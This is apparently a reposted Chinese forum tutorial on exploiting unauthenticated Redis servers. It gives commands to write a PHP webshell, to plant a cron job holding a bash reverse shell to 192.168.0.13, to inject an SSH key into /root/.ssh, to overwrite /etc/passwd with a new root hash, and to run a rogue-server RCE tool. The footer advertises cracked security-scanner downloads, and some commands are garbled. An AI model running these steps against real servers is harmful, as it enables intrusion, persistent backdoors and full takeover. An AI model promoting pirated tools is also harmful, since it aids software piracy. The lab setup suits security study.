其他
【保姆级教学】Redis常见利用方法
副条有Redis漏洞利用工具
一
Redis简介与学习
6379
基于内存运行,性能高效 支持分布式,理论上可以无限扩展 key-value存储系统 开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API
3、Redis为什么快?
(1)完全基于内存操作
(2)C语言实现,优化过的数据结构,性能高
(3)单线程,无切换上下文的成本
(4)异步非阻塞IO(多路复用IO)
4、Redis在Linux和Windows下有区别吗?
RDB 快照,内存数据的二进制序列化文件 AOF 日志,修改内存数据的指令记录文本
二
环境搭建
docker search redis
docker pull redis
docker run -itd run -p 6379:6379 -d redis
手动安装:
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar -zxvf redis-3.2.11.tar.gz
vim redis.conf
make
cp ./redis-server /usr/local/bin/
采坑:
apt remove redis-server
三
Redis-cli下载
https://github.com/microsoftarchive/redis/releases
Linux
wget http://download.redis.io/redis-stable.tar.gz
tar -xzvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/local/bin/
MacOs
brew tap ringohub/redis-cli
brew install redis-cli
四
Redis常见漏洞与利用方法
1、未授权利用
redis-cli -h ip //无需密码登录
redis-cli -h host -p port -a password //使用redis密码登入redis服务
info
(1)写WebShell
redis和网站要在同一台服务器下 知道网站根目录的绝对路径 运行redis服务的用户必须有权限向目录写文件
Config get dir
Config set dir
Set abc "\n\n<?php phpinfo();?>" //写入,这里还有一种写法:set abc”\n\n<xxx>”nx,末尾的nx代表仅当键abc不存在的时候,才会创建。这样可以防止误更新到业务在用的键名,引发业务的异常。
Config set dbfilename test.php
2、写Crontab
访问目标服务器的redis不需要密码 redis对/var/spool/cron有写入权限
Config set dir /var/spool/cron
set abcd "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.13/1234 0>&1\n\n"
Config set filename root
Save
这个方法只能在Centos上使用,Ubuntu上是行不通的,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw———-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
3、写SSH公钥
Redis服务使用root启动 服务器开启了SSH,但是允许密钥登录
vi /etc/ssh/sshd_config
RSAAuthentication yes # 开启密钥登入的认证方式
PubkeyAuthentication yes # 开启密钥登入的认证方式
PermitRootLogin yes # 此处请留意 root 用户能否通过 SSH 登录,默认为yes
# 可以正常用密钥登录了,再把这里改为no
PasswordAuthentication yes #当我们完成全部设置并以密钥方式登录成功后,可以禁用密码登录。这里我们先不禁用,先允许密码登陆
systemctl restart sshd
ssh-keygen -t rsa
Config set dir /root/.ssh/
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.0.148 -x set xxx
# Mac
(echo -e "\n\n"; cat ./id_rsa.pub; echo -e "\n\n") > ./key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.0.148 -x set xxx
4、重置Linux账户密码
docker pull ju5ton1y/redis:latest
docker run -itd -p 6379:6379 -p 6378:22 ju5ton1y/redis:latest
# 启动之后需要进入容器
/etc/init.d/ssh restart
python -c 'import crypt; print crypt.crypt("YourNewPasswd%1024","$6$my0salt0")'
SET abcd "\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n"
config set dbfilename passwd
save
2、主从备份
git clone https://github.com/vulhub/vulhub.git
cd redis/4-unacc/
docker-compose up -d
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
python3 redis-rogue-server.py --rhost 192.168.0.13 --lhost 192.168.0.139
# rhost是redis,lhost是kali
参考:
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf https://www.1024sou.com/article/611764.html https://tatsumaki.cn/2020/08/20/redis/#toc-heading-5 https://www.freebuf.com/articles/web/325035.html https://tatsumaki.cn/2020/08/20/redis/#toc-heading-9
看雪ID:UzJu
https://bbs.pediy.com/user-home-809626.htm
往期推荐
Fortify Static Code Analyzer破解版
awvs 15.2破解版下载(Linux, Windows)